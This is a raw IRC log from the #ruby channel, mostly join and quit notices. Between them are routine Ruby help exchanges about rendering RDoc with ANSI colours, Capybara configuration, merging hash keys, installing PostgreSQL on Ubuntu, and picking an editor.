tjad has joined #ruby
parzo has joined #ruby
bradhe has joined #ruby
brennanM_ has joined #ruby
parzo has quit [Read error: No route to host]
parzo has joined #ruby
chinychinchin has joined #ruby
kevinykchan has quit [Quit: Computer has gone to sleep.]
kevinykchan has joined #ruby
monkegjinni has quit [Remote host closed the connection]
Al_ has joined #ruby
monkegjinni has joined #ruby
brennanMKE has quit [Ping timeout: 264 seconds]
TMM has quit [Ping timeout: 272 seconds]
brennanM_ has quit [Ping timeout: 240 seconds]
bradhe has quit [Ping timeout: 245 seconds]
parzo has quit [Read error: Connection reset by peer]
monkegji_ has joined #ruby
Azulinho has joined #ruby
monkegjinni has quit [Read error: No route to host]
tonni has joined #ruby
troessner has joined #ruby
nari has quit [Ping timeout: 245 seconds]
camilasan has joined #ruby
adjo has joined #ruby
tesuji has quit [Ping timeout: 240 seconds]
nikeita has joined #ruby
tesuji has joined #ruby
fomatin has quit [Quit: Computer has gone to sleep.]
adeponte has quit [Remote host closed the connection]
jhaals has joined #ruby
tonni has quit [Remote host closed the connection]
jibi has quit [Quit: .]
Raon has quit [Quit: Leaving]
aganov has joined #ruby
nateberkopec has joined #ruby
tonni has joined #ruby
kaspergrubbe has joined #ruby
tonni has quit [Read error: Connection reset by peer]
zz_michael_mbp is now known as michael_mbp
timonv has joined #ruby
ohcibi_ is now known as ohcibi
ybart has joined #ruby
nateberkopec has quit [Ping timeout: 245 seconds]
dabos has quit [Ping timeout: 245 seconds]
adambeynon has joined #ruby
nikeita has quit [Quit: bye bye]
kevinykchan has quit [Quit: Computer has gone to sleep.]
sbos99 has joined #ruby
monkegji_ has quit [Remote host closed the connection]
kaspergr_ has joined #ruby
kaspergr_ has quit [Remote host closed the connection]
kaspergr_ has joined #ruby
kaspergrubbe has quit [Read error: Connection reset by peer]
monkegjinni has joined #ruby
gja has joined #ruby
gja has joined #ruby
gja has quit [Changing host]
Alina-malina has quit [Quit: Leaving]
dweeb has quit [Quit: Computer has gone to sleep.]
RORgasm has joined #ruby
parzo has joined #ruby
ewnd9 has quit [Ping timeout: 245 seconds]
Alina-malina has joined #ruby
monkegjinni has quit [Ping timeout: 246 seconds]
RORgasm has quit [Ping timeout: 245 seconds]
jonahR has joined #ruby
jonahR has quit [Client Quit]
<robert_> so I'm trying to recursion with Procs and Module.select()
maasha has joined #ruby
elaptics`away is now known as elaptics
jmoeller has quit []
<maasha> gday
<robert_> but I'm not having very much luck figuring out when I'm leaving scopes, lol.
palms has joined #ruby
dweeb has joined #ruby
timonv has quit [Remote host closed the connection]
<maasha> How can you parse a .rdoc file with RDoc gem/module and output fancy ANSI colored text to terminal?
timonv has joined #ruby
tonni has joined #ruby
kaspergrubbe has joined #ruby
gyre007 has joined #ruby
alup has joined #ruby
zz_tsykoduk is now known as tsykoduk
kaspergr_ has quit [Ping timeout: 246 seconds]
timonv has quit [Ping timeout: 268 seconds]
Raon has joined #ruby
gyre007 has quit [Ping timeout: 240 seconds]
Stygia has joined #ruby
freerobby has joined #ruby
<shevy> maasha is this possible?
<shevy> maasha for ruby-colouring on the commandline, we could use coderay - gem install coderay
<shevy> you can then pass stdin or anything else to "coderay -ruby"
<maasha> shevy: well, first and foremost I need to parse .rdoc files
<shevy> no idea there, I stopped using them many years ago
sevenseacat has quit [Ping timeout: 264 seconds]
OdNairy has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
freerobby has quit [Ping timeout: 245 seconds]
<maasha> shevy: but coderay look useful (if it knows about rdoc)
tsykoduk is now known as zz_tsykoduk
<shevy> coderay is cool
<shevy> just take any larger .rb file
<shevy> do "cat *.rb | coderay -ruby"
palms has quit [Ping timeout: 245 seconds]
amacgregor__ has quit [Read error: Connection reset by peer]
amacgregor__ has joined #ruby
Vendethi_ has quit [Remote host closed the connection]
lkba has quit [Ping timeout: 265 seconds]
Zai00 has joined #ruby
Vendethi_ has joined #ruby
stunthamster has joined #ruby
Czupa has joined #ruby
<maasha> shevy: but only python and ruby?
Zai00 has quit [Client Quit]
<shevy> you mean syntax colour?
<shevy> it has quite some lexers
<shevy> CodeRay::Scanners.list
<shevy> # => [:html, :clojure, :xml, :json, :yaml, :raydebug, :python, :haml, :java, :erb, :css, :debug, :c, :text, :groovy, :php, :delphi, :sql, :diff, :ruby, :java_script, :cpp]
<shevy> no idea about the rdoc format
<shevy> but it should be possible to support it
tvw has joined #ruby
<shevy> I think most people changed to yard
<shevy> :D
kiri has quit [Ping timeout: 246 seconds]
workmad3 has joined #ruby
<maasha> hm, so many things to check out :o)
Vendethi_ has quit [Ping timeout: 246 seconds]
<maasha> endless_list << yard
sie has quit [Quit: WeeChat 0.4.1]
Zai00 has joined #ruby
karupanerura is now known as zz_karupanerura
<maasha> The internet really needs a feature where there is an alert message "No, this is not what you are looking for" - or "No, this is not used anymore"
popl has joined #ruby
popl has joined #ruby
popl has quit [Changing host]
<shevy> well
tatsuya_o has quit [Remote host closed the connection]
<shevy> sometimes there is a tool x
brennanMKE has joined #ruby
<shevy> it works but has some shortcomings
<shevy> so tool y is created
<shevy> usually y is better than x but not always
tatsuya_o has joined #ruby
<shevy> now there are some options
<shevy> you could stick to use the old x... or move to y... or
<shevy> OR!!!!
<shevy> you could create tool z!
<maasha> shevy: lol. exactly the problem.
chriskk has joined #ruby
amacgregor__ has quit [Ping timeout: 252 seconds]
relix has joined #ruby
brennanMKE has quit [Ping timeout: 245 seconds]
tatsuya_o has quit [Ping timeout: 246 seconds]
Azulinho has quit [Quit: WeeChat 0.4.1]
mansi has joined #ruby
persand has quit [Quit: persand]
<maasha> shevy: GitHub dont support YARD
<shevy> hmm
<shevy> you are the last rdoc hope :P
<shevy> there is no channel #rdoc but there is a channel #yard with 16 ppl
xxpor has quit [Read error: Connection reset by peer]
* maasha installs yard
sadleb has quit [Ping timeout: 246 seconds]
TMM has joined #ruby
TMM has quit [Changing host]
TMM has joined #ruby
tomzx_mac has joined #ruby
<maasha> maybe yard can process rdoc to something fancy
mansi has quit [Ping timeout: 264 seconds]
swingha has joined #ruby
rickmasta has quit [Quit: Leaving...]
mengu has quit [Read error: Connection reset by peer]
michael_mbp is now known as zz_michael_mbp
JaTochNietDan has joined #ruby
LarsSmit has joined #ruby
camilasan has quit [Remote host closed the connection]
heath has quit [Quit: No Ping reply in 180 seconds.]
nateberkopec has joined #ruby
camilasan has joined #ruby
heath has joined #ruby
mjmac has quit [Ping timeout: 245 seconds]
mjc_ has quit [Ping timeout: 245 seconds]
gyre007 has joined #ruby
yacks has joined #ruby
Czupa has quit [Remote host closed the connection]
Linux_Extremist has joined #ruby
mjmac has joined #ruby
mjc_ has joined #ruby
postmodern has joined #ruby
camilasan has quit [Remote host closed the connection]
gyre007 has quit [Remote host closed the connection]
camilasan has joined #ruby
pedda has joined #ruby
gyre007 has joined #ruby
nateberkopec has quit [Ping timeout: 246 seconds]
Linux_Extremist has left #ruby [#ruby]
simoz has quit [Ping timeout: 252 seconds]
<shevy> hehe
<shevy> you'll end up like me one day
terrellt has quit [Read error: Connection reset by peer]
<shevy> giving up rdoc :P
trautwein has joined #ruby
codenapper has quit [Read error: Connection reset by peer]
timonv has joined #ruby
trautwein has quit [Read error: Connection reset by peer]
<maasha> shevy: ok, so I am looking for a ML that is supported by GitHub's wiki and can be used to output fancy usage info using ANSI colors in terminal. Suggestions?
<shevy> to combine both?
kil0byte has joined #ruby
codenapper has joined #ruby
<shevy> I dont think there are many who include both goals you need here
<workmad3> maasha: use markdown, then write a markdown renderer for ANSI codes?
<maasha> shevy: rdoc is close
<maasha> workmad3: or use rdoc and write a rdoc renderer?
<workmad3> maasha: yup, that too
gyre007 has quit [Ping timeout: 245 seconds]
codenapper has quit [Read error: Connection reset by peer]
<maasha> workmad3: shevy: now I was just wondering if I was reinventing the wheel here :o) - do such a renderer exists already?
blackmesa has joined #ruby
Metal-01 has joined #ruby
adeponte has joined #ruby
<maasha> workmad3: and the RDoc module have an intriguing .to_ansi method, but I cant fingure out how to parse a file with that RDoc
persand has joined #ruby
platypine has joined #ruby
pyrac has quit [Quit: pyrac]
Clooth has joined #ruby
gyre007 has joined #ruby
xk_id has quit [Quit:
justsee has joined #ruby
justsee has quit [Changing host]
justsee has joined #ruby
adeponte has quit [Ping timeout: 245 seconds]
jrhe has joined #ruby
platypine has quit [Ping timeout: 245 seconds]
jonr22 has joined #ruby
jbpros has joined #ruby
rickmasta has joined #ruby
theRoUS has quit [Ping timeout: 272 seconds]
Vendethi_ has joined #ruby
OdNairy has joined #ruby
jonr22 has quit [Ping timeout: 246 seconds]
jbpros has quit [Client Quit]
nikeita has joined #ruby
Alina-malina has quit [Quit: Leaving]
rickmasta has quit [Ping timeout: 245 seconds]
kil0byte has quit [Ping timeout: 245 seconds]
Alina-malina has joined #ruby
derebos has quit [Remote host closed the connection]
yoniPacheko has joined #ruby
<yoniPacheko> hi there!
fgo has quit [Remote host closed the connection]
joonty has quit [Quit: WeeChat 0.4.1]
mikepack has joined #ruby
joonty has joined #ruby
freerobby has joined #ruby
sjltaylo_ has joined #ruby
VTLob has joined #ruby
funburn has quit [Quit: funburn]
mikepack has quit [Ping timeout: 272 seconds]
freerobby has quit [Ping timeout: 245 seconds]
palms has joined #ruby
sepp2k has joined #ruby
drumusician has quit [Ping timeout: 272 seconds]
h_kon has quit [Remote host closed the connection]
ewnd9 has joined #ruby
Clooth has quit [Quit: Leaving...]
obs has joined #ruby
zz_michael_mbp is now known as michael_mbp
relix has quit [Quit: Textual IRC Client: www.textualapp.com]
chickenf_ has joined #ruby
relix has joined #ruby
lyanchih has quit [Ping timeout: 272 seconds]
dr_bob has joined #ruby
spider-mario has joined #ruby
zipper has joined #ruby
coderhs has joined #ruby
Banistergalaxy has joined #ruby
brennanMKE has joined #ruby
Domon has quit [Remote host closed the connection]
chickenf_ has quit [Quit: Textual IRC Client: www.textualapp.com]
chickenf_ has joined #ruby
`Chris` has joined #ruby
tkuchiki has quit [Remote host closed the connection]
brennanMKE has quit [Ping timeout: 272 seconds]
tkuchiki has joined #ruby
mansi has joined #ruby
bluOxigen has joined #ruby
Nenor_ has joined #ruby
`Chris`_ has joined #ruby
Nenor_ has quit [Client Quit]
shredding has joined #ruby
pskosinski has joined #ruby
alexw has joined #ruby
`Chris` has quit [Read error: Connection reset by peer]
dennus has joined #ruby
palms has quit [Ping timeout: 252 seconds]
D4T has joined #ruby
fgo has joined #ruby
tatsuya_o has joined #ruby
tkuchiki has quit [Ping timeout: 272 seconds]
mansi has quit [Ping timeout: 268 seconds]
juo_ is now known as juo
|jemc| has quit [Ping timeout: 264 seconds]
mengu has joined #ruby
mengu has joined #ruby
mengu has quit [Changing host]
nikeita has quit [Ping timeout: 245 seconds]
aagdbl has joined #ruby
sevenseacat has joined #ruby
fred has quit [Ping timeout: 248 seconds]
Bofu2U has joined #ruby
nikeita has joined #ruby
mikecmpbll has joined #ruby
jonathanwallace has joined #ruby
nateberkopec has joined #ruby
danshultz has joined #ruby
h_kon has joined #ruby
AndChat| has joined #ruby
samfisher has joined #ruby
Banistergalaxy has quit [Ping timeout: 264 seconds]
blackmesa has quit [Ping timeout: 240 seconds]
nateberkopec has quit [Ping timeout: 264 seconds]
gja has quit [Quit: This computer has gone to sleep]
alexw has quit [Read error: Connection reset by peer]
fred has joined #ruby
dhilipsiva has quit [Remote host closed the connection]
alexw has joined #ruby
fred is now known as Guest89003
dhilipsiva has joined #ruby
zipper has quit [Remote host closed the connection]
flower-pot has quit [Quit: leaving]
nikeita has quit [Ping timeout: 272 seconds]
Jetchisel has joined #ruby
jbpros has joined #ruby
yoniPacheko has quit [Remote host closed the connection]
yoniPacheko has joined #ruby
justsee has quit [Ping timeout: 245 seconds]
robbyoconnor has quit [Ping timeout: 252 seconds]
popl has quit [Quit: We must make an idol of our fear, and call it God.]
lkba has joined #ruby
justsee has joined #ruby
yoniPacheko has quit [Read error: Connection reset by peer]
eka has joined #ruby
`Chris` has joined #ruby
zipper has joined #ruby
chickenf_ has quit [Ping timeout: 246 seconds]
`Chris`_ has quit [Ping timeout: 245 seconds]
shredding has quit [Quit: shredding]
`Chris` has quit [Read error: Connection reset by peer]
`Chris` has joined #ruby
Vendethi_ has quit [Remote host closed the connection]
shredding has joined #ruby
mlpinit has joined #ruby
kaldrenon has joined #ruby
AlSquire has joined #ruby
amritanshu_RnD has quit [Quit: Leaving]
yoniPacheko has joined #ruby
poikon has joined #ruby
noname001 has quit [Remote host closed the connection]
jonathanwallace has quit [Quit: WeeChat 0.4.1]
jonathanwallace has joined #ruby
kaldrenon has quit [Ping timeout: 240 seconds]
decoponio has joined #ruby
zodiak has quit [Remote host closed the connection]
BizarreCake has joined #ruby
noname001 has joined #ruby
andredurao has joined #ruby
mikepack has joined #ruby
freerobby has joined #ruby
includex has joined #ruby
ldnunes has joined #ruby
andrewvos has quit [Quit: WeeChat 0.3.7]
andrewvos has joined #ruby
kiri has joined #ruby
mikepack has quit [Ping timeout: 246 seconds]
parzo has quit [Remote host closed the connection]
freerobby has quit [Ping timeout: 264 seconds]
parzo has joined #ruby
kaspergrubbe has quit [Remote host closed the connection]
Banistergalaxy has joined #ruby
AndChat| has quit [Ping timeout: 245 seconds]
erry_ has joined #ruby
Astralum has quit [Ping timeout: 260 seconds]
yoniPacheko has quit [Remote host closed the connection]
erry_ has left #ruby [#ruby]
yoniPacheko has joined #ruby
<andredurao> Hi there! Can anybody help me with some capybara configurations?
VTLob has quit [Quit: VTLob]
<andredurao> I wish to know in which file I must add the line "Capybara.default_driver = :selenium"
danshultz has quit [Remote host closed the connection]
yoniPacheko has quit [Ping timeout: 268 seconds]
danshultz has joined #ruby
bluenemo has joined #ruby
drumusician has joined #ruby
<sevenseacat> in your spec_helper/test_helper file
<andredurao> ...I did that
<andredurao> inside the "class ActiveSupport::TestCase"
<andredurao> although it didnt worked the way I expected
ybart has quit [Quit: ybart]
<sevenseacat> im not super familiar with test unit but wherever you specifically configure it, is where it should go
samfisher has quit [Ping timeout: 272 seconds]
jrhe has quit [Quit: jrhe]
`Chris`_ has joined #ruby
shredding has quit [Quit: shredding]
graydot has quit [Quit: graydot]
danshultz has quit [Ping timeout: 256 seconds]
`Chris` has quit [Ping timeout: 240 seconds]
narcan has joined #ruby
brennanMKE has joined #ruby
<andredurao> me neither here, I'm trying to run a cucumber + capybara simple test but the selenium browser is not running
michael_mbp is now known as zz_michael_mbp
lyanchih has joined #ruby
lyanchih has quit [Client Quit]
lyanchih has joined #ruby
jarto has joined #ruby
Banistergalaxy has quit [Ping timeout: 240 seconds]
jonathanwallace has quit [Ping timeout: 246 seconds]
narcan has quit [Quit: -[AppDelegate installMalware]: unrecognized selector sent to instance 0x156109c0]
brennanMKE has quit [Ping timeout: 245 seconds]
Banistergalaxy has joined #ruby
tkuchiki has joined #ruby
jrhe has joined #ruby
mansi has joined #ruby
kaspergrubbe has joined #ruby
jarto has left #ruby ["Ухожу я от вас (xchat 2.4.5 или старше)"]
wak3r has joined #ruby
mansi has quit [Ping timeout: 245 seconds]
Vendethi_ has joined #ruby
DouweM has quit [Ping timeout: 272 seconds]
sjltaylo_ has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
Banistergalaxy has quit [Ping timeout: 240 seconds]
Jetchisel has quit [Ping timeout: 260 seconds]
k610 has joined #ruby
julweber_ has quit [Remote host closed the connection]
julweber has joined #ruby
nateberkopec has joined #ruby
robbyoconnor has joined #ruby
jonr22 has joined #ruby
zipper has quit [Quit: Lost terminal]
shaunbaker has joined #ruby
mlpinit has quit [Remote host closed the connection]
poikon has quit [Remote host closed the connection]
chriskk has quit [Quit: chriskk]
poikon has joined #ruby
julweber has quit [Ping timeout: 246 seconds]
nateberkopec has quit [Ping timeout: 248 seconds]
tkuchiki has quit [Remote host closed the connection]
tkuchiki has joined #ruby
jonr22 has quit [Ping timeout: 246 seconds]
noop has quit [Ping timeout: 252 seconds]
noop has joined #ruby
nfk has joined #ruby
freezey has joined #ruby
guns has quit [Quit: guns]
zz_michael_mbp is now known as michael_mbp
nwertman has quit [Ping timeout: 252 seconds]
tkuchiki has quit [Ping timeout: 272 seconds]
Banistergalaxy has joined #ruby
jonathanwallace has joined #ruby
acoyfellow has joined #ruby
<zzak> shevy: whats up?
asobrasil has joined #ruby
camilasan has quit [Remote host closed the connection]
camilasan has joined #ruby
xk_id has joined #ruby
Metal-01 has quit [Quit: Leaving]
Bry8Star{T2 has quit [Ping timeout: 240 seconds]
Jetchisel has joined #ruby
shredding has joined #ruby
AndChat| has joined #ruby
mark_locklear has joined #ruby
camilasa_ has joined #ruby
camilasan has quit [Read error: Connection reset by peer]
robbyoconnor has quit [Ping timeout: 264 seconds]
theRoUS has joined #ruby
theRoUS has quit [Changing host]
theRoUS has joined #ruby
larissa has joined #ruby
graydot has joined #ruby
nwertman has joined #ruby
mlpinit has joined #ruby
jbpros has quit [Quit: jbpros]
mlpinit has quit [Remote host closed the connection]
Banistergalaxy has quit [Ping timeout: 240 seconds]
Clooth has joined #ruby
zxq9 has joined #ruby
Bry8Star{T2 has joined #ruby
allaire has joined #ruby
freezey has quit [Remote host closed the connection]
jonathanwallace has quit [Quit: WeeChat 0.4.1]
nari has joined #ruby
aagdbl has quit [Read error: Connection reset by peer]
dzan has joined #ruby
freezey has joined #ruby
jonathanwallace has joined #ruby
aagdbl has joined #ruby
<dzan> hi, this is probably something stupid but i'm learnign ruby and I don't get why this (minimal example) prints every line with increased indentation: http://paste.debian.net/62921/
aagdbl has quit [Client Quit]
<sevenseacat> are you talking about the indentation on lines 7-9?
<canton7> top tip: use `array.each do |item|`, not `for item in array`
soba has quit [Ping timeout: 272 seconds]
pr0ggie has quit [Ping timeout: 252 seconds]
<dzan> sevenseacat, no i mean the output
ehc has joined #ruby
pdimitrov has quit [Ping timeout: 272 seconds]
<dzan> canton7, ok i'll change that :)
mikecmpbll has quit [Ping timeout: 245 seconds]
<sevenseacat> i dont see anything there that would indent the output
pr0ggie has joined #ruby
pdimitrov has joined #ruby
<canton7> I suspect your terminal's buggered? so it's expecting \r\n, but ruby's only giving it \n
stringoO has joined #ruby
brtdv has joined #ruby
mikecmpbll has joined #ruby
freezey has quit [Ping timeout: 245 seconds]
<canton7> yeah, looks a lot like your terminal's expecting a carriage return
jonathanwallace has quit [Client Quit]
jonathanwallace has joined #ruby
jonathanwallace has quit [Client Quit]
jonathanwallace has joined #ruby
<canton7> what os? what terminal?
<dzan> canton7, debian & terminator
<dzan> strange
<canton7> rubbish name for a terminal - can't google for it :P
<dzan> yeah "terminal emulator terminator"
<canton7> no-one's going to call it that in a forum post on some random forum
<dzan> well you'r right but it's a good terminal emulator
<dzan> can't change the name :p
<canton7> I can't comment on that :P anyway!
WillAmes has quit [Remote host closed the connection]
sjltaylo_ has joined #ruby
camilasa_ has quit [Remote host closed the connection]
camilasan has joined #ruby
nwertman_ has joined #ruby
alse has joined #ruby
andredurao has quit [Quit: Lost terminal]
tobago has joined #ruby
<dzan> canton7, i'll fix it, thanks!
<tobago> {:foo => 123}.merge(options) => how to merge only some keys of options?
<canton7> dzan, just to check, puts "#{file}\r\n"
<canton7> tobago, what do you mean by that?
<tobago> {:foo => 123}.merge({:foo => 456, :bar => "Test"}), but want only the key/value of key :foo to be merged
ewnd9 has quit [Ping timeout: 245 seconds]
<dzan> canton7, restarted terminal and it was fixed
<dzan> whoops :D
<canton7> dzan, cool!
<canton7> should have thought of that ><
<dzan> btw canton7 what does #{file} do there?
<tobago> canton7, do I have to select the keys first? order is there a cool trick?
<canton7> dzan, string interpolation
pr0ggie has quit [Max SendQ exceeded]
<dzan> i'll google that
julweber has joined #ruby
<canton7> tobago, .merge(options.values_at(:foo))
<canton7> hmm not quite right actually, as that won't preserve keys
kaldrenon has joined #ruby
nateberkopec has joined #ruby
wak3r has quit [Ping timeout: 272 seconds]
<dzan> oh instead of "string" + var
<canton7> yeah
<dzan> is the #{var} preferred in ruby?
<tobago> canton7, values_at returns the values of the key.
ybart has joined #ruby
<canton7> yeah, like I said
Mon_Ouie has joined #ruby
pr0ggie has joined #ruby
<canton7> I think there's an ActiveRecord method which does that
brennanMKE has joined #ruby
<canton7> yeah, Hash#slice
<canton7> sorry, ActiveSupport, not ActiveRecord
<tobago> canton7, thanks a lot!
p8952 has quit [Remote host closed the connection]
brennanMKE has quit [Ping timeout: 240 seconds]
mlpinit has joined #ruby
xargoon has quit [Ping timeout: 272 seconds]
aagdbl has joined #ruby
mansi has joined #ruby
hogeo has quit [Remote host closed the connection]
gregj has left #ruby [#ruby]
hogeo has joined #ruby
mlpinit has quit [Remote host closed the connection]
IceDragon has joined #ruby
mlpinit has joined #ruby
user258467 has joined #ruby
<yasu> tobago, does this work for you? defaults = {foo: 123}; options = {:foo => 456, :bar => "Test"}; defaults.merge options.select { |k, v| defaults.has_key? k }
mlpinit has quit [Remote host closed the connection]
mlpinit has joined #ruby
taternuts has joined #ruby
kaspergr_ has joined #ruby
taternuts has quit [Client Quit]
mansi has quit [Ping timeout: 272 seconds]
pushpak has joined #ruby
kaspergr_ has quit [Remote host closed the connection]
<tobago> yasu, already got it. thank you. :)
krz has quit [Quit: krz]
kaspergrubbe has quit [Ping timeout: 240 seconds]
hogeo has quit [Ping timeout: 272 seconds]
hiyosi has joined #ruby
Clooth has quit [Read error: Connection reset by peer]
gyre007 has quit [Remote host closed the connection]
gyre007 has joined #ruby
Clooth has joined #ruby
cody-- has joined #ruby
apeiros has joined #ruby
michael_mbp is now known as zz_michael_mbp
lyanchih has quit [Quit: lyanchih]
jkamenik has joined #ruby
kaspergrubbe has joined #ruby
sophomorical has quit [Ping timeout: 240 seconds]
gyre007 has quit [Ping timeout: 240 seconds]
hiyosi has quit [Ping timeout: 256 seconds]
tobago has quit [Ping timeout: 240 seconds]
cody-- has quit [Quit: derp]
ZenGuy311 has quit [Ping timeout: 252 seconds]
`Chris` has joined #ruby
ZenGuy311 has joined #ruby
danshultz has joined #ruby
<banisterfiend> anyone here have experience installing postgres on linux?
<banisterfiend> specifically ubuntu?
* hoelzro does
jbpros has joined #ruby
<hoelzro> not ubuntu, though
sjltaylo_ has quit [Remote host closed the connection]
`Chris`_ has quit [Ping timeout: 272 seconds]
<banisterfiend> hoelzro oh ok, any idea the best way how to install it on ubuntu?
mansi has joined #ruby
vpretzel has joined #ruby
RORgasm has joined #ruby
ewnd9 has joined #ruby
<hoelzro> do you care which version you're installing?
varfoo has quit [Ping timeout: 240 seconds]
<sevenseacat> sudo apt-get install postgresql
<hoelzro> that was my next suggestion, based on banisterfiend's answer =)
enebo has joined #ruby
peneconleche has joined #ruby
drag00n has joined #ruby
<banisterfiend> sevenseacat looking at a few websites it seemed the install line was significantly longer than that
<sevenseacat> nope :)
<banisterfiend> with about 4-5 different things needing to be installed
<banisterfiend> cool then :)
mansi has quit [Remote host closed the connection]
SilverKey has quit [Quit: Sleep now]
burlyscudd has joined #ruby
<banisterfiend> thanks
mansi has joined #ruby
<sevenseacat> if you're missing dependencies, it will install them too
<sevenseacat> np :)
RORgasm has quit [Ping timeout: 246 seconds]
snappy has quit [Ping timeout: 260 seconds]
nateberkopec has quit [Quit: Leaving...]
* hoelzro wonders what guide banisterfiend was reading
snappy has joined #ruby
snappy has joined #ruby
snappy has quit [Changing host]
bline79 has quit [Ping timeout: 245 seconds]
codezomb has joined #ruby
nucatus has joined #ruby
tobago has joined #ruby
OdNairy has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
obs has quit [Ping timeout: 245 seconds]
Artsky has joined #ruby
mansi has quit [Ping timeout: 248 seconds]
jezen has joined #ruby
Banistergalaxy has joined #ruby
krawchyk has joined #ruby
pyrac has joined #ruby
hiyosi has joined #ruby
larissa has quit [Ping timeout: 264 seconds]
jbpros has quit [Quit: jbpros]
ct529 has joined #ruby
bugsinlights has quit [Ping timeout: 240 seconds]
AndChat| has quit [Ping timeout: 240 seconds]
yfeldblum has joined #ruby
chrisja has joined #ruby
tobago has quit [Ping timeout: 248 seconds]
iamjarvo has joined #ruby
zz_michael_mbp is now known as michael_mbp
graydot has quit [Ping timeout: 240 seconds]
_zxq9_ has joined #ruby
coderhs has quit [Ping timeout: 246 seconds]
postmodern has quit [Quit: Leaving]
Cheos has joined #ruby
zxq9 has quit [Ping timeout: 264 seconds]
varfoo has joined #ruby
samfisher has joined #ruby
samfisher has joined #ruby
samfisher has quit [Changing host]
parzo has quit [Ping timeout: 264 seconds]
falood has quit [Remote host closed the connection]
<ct529> I am starting to develop in ruby, and I normally use eclipse for development work. What is the recommended eclipse plugin for ruby development? I have googled plenty, but I found too many solutions, and some of the tools do not seem to be under active development.
Clooth has quit [Ping timeout: 246 seconds]
braincrash has quit [Ping timeout: 240 seconds]
graydot has joined #ruby
nateberkopec has joined #ruby
bugsinlights has joined #ruby
<ct529> any recommendation you can give me?
jerius has joined #ruby
phantasm66 has joined #ruby
phantasm66 has joined #ruby
phantasm66 has quit [Changing host]
sailias has joined #ruby
AndChat| has joined #ruby
randomnick_ has joined #ruby
nateberkopec has quit [Client Quit]
peta_ has joined #ruby
sophomorical has joined #ruby
Banistergalaxy has quit [Ping timeout: 240 seconds]
Metal-01 has joined #ruby
iamjarvo has quit [Ping timeout: 248 seconds]
lxsameer has quit [Quit: Leaving]
obs has joined #ruby
nowthatsamatt has joined #ruby
nfk has quit [Quit: yawn]
iamjarvo has joined #ruby
jrhe has quit [Quit: jrhe]
jlebrech has joined #ruby
geekbri has joined #ruby
nfk has joined #ruby
larissa has joined #ruby
coderhs has joined #ruby
alexw has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
Soda has joined #ruby
fredjean has quit [Quit: Computer has gone to sleep.]
Astralum has joined #ruby
JRizzle has joined #ruby
Artsky has left #ruby [#ruby]
jlast has joined #ruby
graydot has quit [Quit: graydot]
mikecmpbll has quit [Ping timeout: 240 seconds]
JRizzle has quit [Client Quit]
bartj3 has quit [Read error: Operation timed out]
bartj3 has joined #ruby
oz has quit [Read error: Connection reset by peer]
oz` has joined #ruby
oz` is now known as oz
mikecmpbll has joined #ruby
<shevy> ct529 dunno, never used eclipse. not many folks in here do. I think Hanmac is one of those who use eclipse
timonv has quit [Remote host closed the connection]
lyanchih has joined #ruby
jlast has quit [Ping timeout: 256 seconds]
timonv has joined #ruby
aagdbl has quit [Quit: This computer has gone to sleep]
<ct529> shevy: thanks a lot .... what do you normally use? I would rather not clog the PC with tens of development environments.
wesside has quit [Quit: Computer has gone to sleep.]
graydot has joined #ruby
nucatus has quit [Remote host closed the connection]
nucatus has joined #ruby
pushpak has quit [Quit: Linkinus - http://linkinus.com]
braincrash has joined #ruby
<bartj3> most of the ruby devs use vim/emacs, or if you'd like a bit of an easier editor i'd go with sublime
brennanMKE has joined #ruby
timonv has quit [Ping timeout: 240 seconds]
<shevy> ct529 right now I use bluefish version 1.0.8
Vendethi_ has quit [Remote host closed the connection]
<shevy> I think in the future I may switch to sublime, but for now I'll stick to bluefish
<shevy> ct529 I wouldn't do so either, one editor to rule them all. vim and emacs did not work for me, emacs because I don't need an OS, vim because it interferes with my brain
pwh has joined #ruby
<shevy> emacs-24.3.tar.xz 34M
freerobby has joined #ruby
<shevy> vim-7.4.tar.xz 7.3M
<shevy> bluefish-1.0.7.tar.xz 1.3M
<shevy> hmmm
<shevy> let me find eclipse ;)
<bartj3> :p
user258467 has quit [Remote host closed the connection]
maveonair has joined #ruby
<shevy> whoa
<shevy> Eclipse Standard 4.3.1 197 MB
nucatus has quit [Ping timeout: 256 seconds]
ananthakumaran has quit [Quit: Leaving.]
<shevy> this reminds me
Xeago has quit [Remote host closed the connection]
<shevy> anyone knows the game project "battle for wesnoth"?
tyleretters has joined #ruby
jlast has joined #ruby
yoniPacheko has joined #ruby
maveonair has quit [Client Quit]
maveonair has joined #ruby
<shevy> it used to be rather ok in size for a long while... somewhat around 20-50MB perhaps
<shevy> now we have: Wesnoth 1.11.6 380.8MB
<shevy> and of course you also need boost nowadays ...
brennanMKE has quit [Ping timeout: 241 seconds]
jonr22 has joined #ruby
<sweeper> shevy: wesnoth is awesome \o
adrian has joined #ruby
adrian has left #ruby [#ruby]
pu22l3r has joined #ruby
user258467 has joined #ruby
<ct529> shevy: bartj3: .... thanks, sorry a call .... brb!
iamjarvo has quit [Remote host closed the connection]
<robert_> so I'm trying to recursion with Procs and Module.select(), but I'm not having very much luck figuring out when I'm leaving scopes, lol.
iamjarvo has joined #ruby
blaxter_ is now known as blaxter
jonr22 has quit [Ping timeout: 240 seconds]
<canton7> robert_, try supplying an example, and saying exactly what's gone wrong
timonv has joined #ruby
sambao21 has joined #ruby
pencilcheck has quit [Remote host closed the connection]
alse has quit [Quit: Linkinus - http://linkinus.com]
petey_ has joined #ruby
AndChat| has quit [Ping timeout: 240 seconds]
iamjarvo has quit [Ping timeout: 246 seconds]
gyre007 has joined #ruby
pencilcheck has joined #ruby
iamjarvo has joined #ruby
bline79 has joined #ruby
devoldmx3 has quit [Ping timeout: 245 seconds]
thepumpkin has joined #ruby
burlyscudd has quit [Ping timeout: 272 seconds]
Banistergalaxy has joined #ruby
mhodgson has joined #ruby
Vendethi_ has joined #ruby
Alina-malina has quit [Ping timeout: 245 seconds]
cpruitt has joined #ruby
lukec has joined #ruby
Alina-malina has joined #ruby
seekwill has left #ruby [#ruby]
mrsolo has joined #ruby
gyre007 has quit [Ping timeout: 256 seconds]
jamblack has joined #ruby
h_kon has quit [Remote host closed the connection]
h_kon has joined #ruby
freezey has joined #ruby
xk_id has quit [Quit:
interactionjaxsn has joined #ruby
<ct529> shevy: yes, eclipse is pretty large but can be used to develop in different lanagues within the same environment (and run,, compile, debug). IT is farily large and heavy, but quite good.
burlyscudd has joined #ruby
mojjojo has joined #ruby
<shevy> I like small and beautiful
